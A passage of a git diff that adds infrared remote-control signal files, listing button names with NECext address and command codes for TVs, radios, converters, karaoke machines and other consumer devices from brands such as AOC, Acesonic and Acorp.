parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 49 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4A 00 00 00 +# +name: KEY_KEYBOARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir b/assets/resources/infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir new file mode 100644 index 000000000..74a4a6dad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 01 00 00 00 +# +name: Preset_Repeat +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 02 00 00 00 +# +name: Snooze +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 04 00 00 00 +# +name: Stop_Band +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 09 00 00 00 +# +name: Intro +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 0A 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 0B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 11 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 12 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 13 00 00 00 +# +name: X-Bass +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 19 00 00 00 +# +name: Mem +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 1A 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 1F 00 00 00 +# +name: Function +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 20 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir new file mode 100644 index 000000000..a70595f0e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/AOC/TV/0,189.ir b/assets/resources/infrared/_CSV-IRDB_/AOC/TV/0,189.ir new file mode 100644 index 000000000..ec244fe82 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/AOC/TV/0,189.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 04 00 00 00 +# +name: TVVIDEO +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 05 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 0A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 10 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 12 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 13 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 14 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 15 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 16 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 17 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 18 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 1F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 41 00 00 00 +# +name: PRECH +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 44 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 45 00 00 00 +# +name: PLUSMINUS +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir b/assets/resources/infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir new file mode 100644 index 000000000..3112b99dd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 06 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 08 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 13 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 19 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 45 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 48 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 51 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 52 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 54 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 56 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir b/assets/resources/infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir new file mode 100644 index 000000000..d93d33282 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 09 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0B 00 00 00 +# +name: KEY_QUESTION +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 11 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 12 00 00 00 +# +name: X_KEY_SWITCH +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 13 00 00 00 +# +name: X_KEY_MUSIC +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 1E 00 00 00 +# +name: X_KEY_OPT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 1F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 21 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 24 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 25 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 29 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 30 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 32 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 35 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 37 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 38 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir new file mode 100644 index 000000000..b0244b896 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: GROUP_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: GROUP_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: PATTERN_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: PATTERN_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: LIST> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 53 00 00 00 +# +name: ABC +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 54 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 55 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 56 00 00 00 +# +name: GHI +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 57 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 58 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 5A 00 00 00 +# +name: STU +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 5B 00 00 00 +# +name: VWX +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 5C 00 00 00 +# +name: YZ +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 5D 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 5E 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 05 7A 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir new file mode 100644 index 000000000..41a4d1391 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: SETUP +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 01 00 00 00 +# +name: MUSIC_UP +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 02 00 00 00 +# +name: MUSIC_DWN +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 03 00 00 00 +# +name: MIC_UP +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 04 00 00 00 +# +name: MIC_DWN +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 05 00 00 00 +# +name: ECHO_+ +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 06 00 00 00 +# +name: ECHO_- +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 07 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 40 00 00 00 +# +name: FEMALE +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 46 00 00 00 +# +name: MALE +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 47 00 00 00 +# +name: PAGE_DWN +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 48 00 00 00 +# +name: KEY_DWN +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 49 00 00 00 +# +name: NOTE +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 4A 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 4B 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 4C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 4E 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 4F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 50 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 51 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 52 00 00 00 +# +name: INSERT +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 53 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 54 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 55 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 56 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 57 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 58 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 59 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 5A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 5B 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 5C 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 5D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 5E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 4D 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir new file mode 100644 index 000000000..e420eb28e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 80 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 81 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 82 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 83 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 84 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 85 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 86 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 87 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 88 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 89 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8E 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 90 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 91 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 92 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 93 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 94 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 95 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 96 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 97 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 98 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 99 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 9A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 9B 00 00 00 +# +name: LISTENING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 9C 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 9D 00 00 00 +# +name: MIC +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 9E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C6 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C7 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: N/P +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CB 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CF 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D0 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D1 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D3 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir new file mode 100644 index 000000000..ea6488b64 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: function-(unused) +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: air +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: autoscan +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: function+(unused) +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: ttx +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: sync +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: X_KEY_6(unused) +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: ch-(unused) +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: ch+/- +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: func +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: scan(unused) +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 